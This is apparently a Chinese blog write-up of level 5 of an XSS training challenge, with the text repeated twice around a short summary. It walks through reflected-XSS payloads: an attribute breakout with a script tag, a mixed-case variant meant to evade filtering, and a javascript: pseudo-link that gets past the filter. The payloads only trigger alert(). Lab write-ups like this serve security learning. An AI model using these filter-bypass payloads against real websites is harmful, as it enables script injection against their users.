第五关:level5

输入语句测试
"> <script>alert('yes')</script>

观察源代码发现字符被替换
![]()
把部分字符换成大写尝试
"> <sCRipt>alert('yes')</scRipt>
一样的结果

采用html事件方法:

失败

同样是字符被替换
![]()
使用伪链接方式假造一个超链接尝试:
"> <a href="javascript:alert('test')">link</a>

点击后执行脚本,成功通关

本文详细记录了通过第五关level5的过程,包括输入语句测试、源代码字符替换观察、大小写转换尝试、HTML事件方法探索及最终采用伪链接方式成功触发脚本执行的完整步骤。
第五关:level5

输入语句测试
"> <script>alert('yes')</script>

观察源代码发现字符被替换
![]()
把部分字符换成大写尝试
"> <sCRipt>alert('yes')</scRipt>
一样的结果

采用html事件方法:

失败

同样是字符被替换
![]()
使用伪链接方式假造一个超链接尝试:
"> <a href="javascript:alert('test')">link</a>

点击后执行脚本,成功通关

3680
1554

被折叠的 条评论
为什么被折叠?
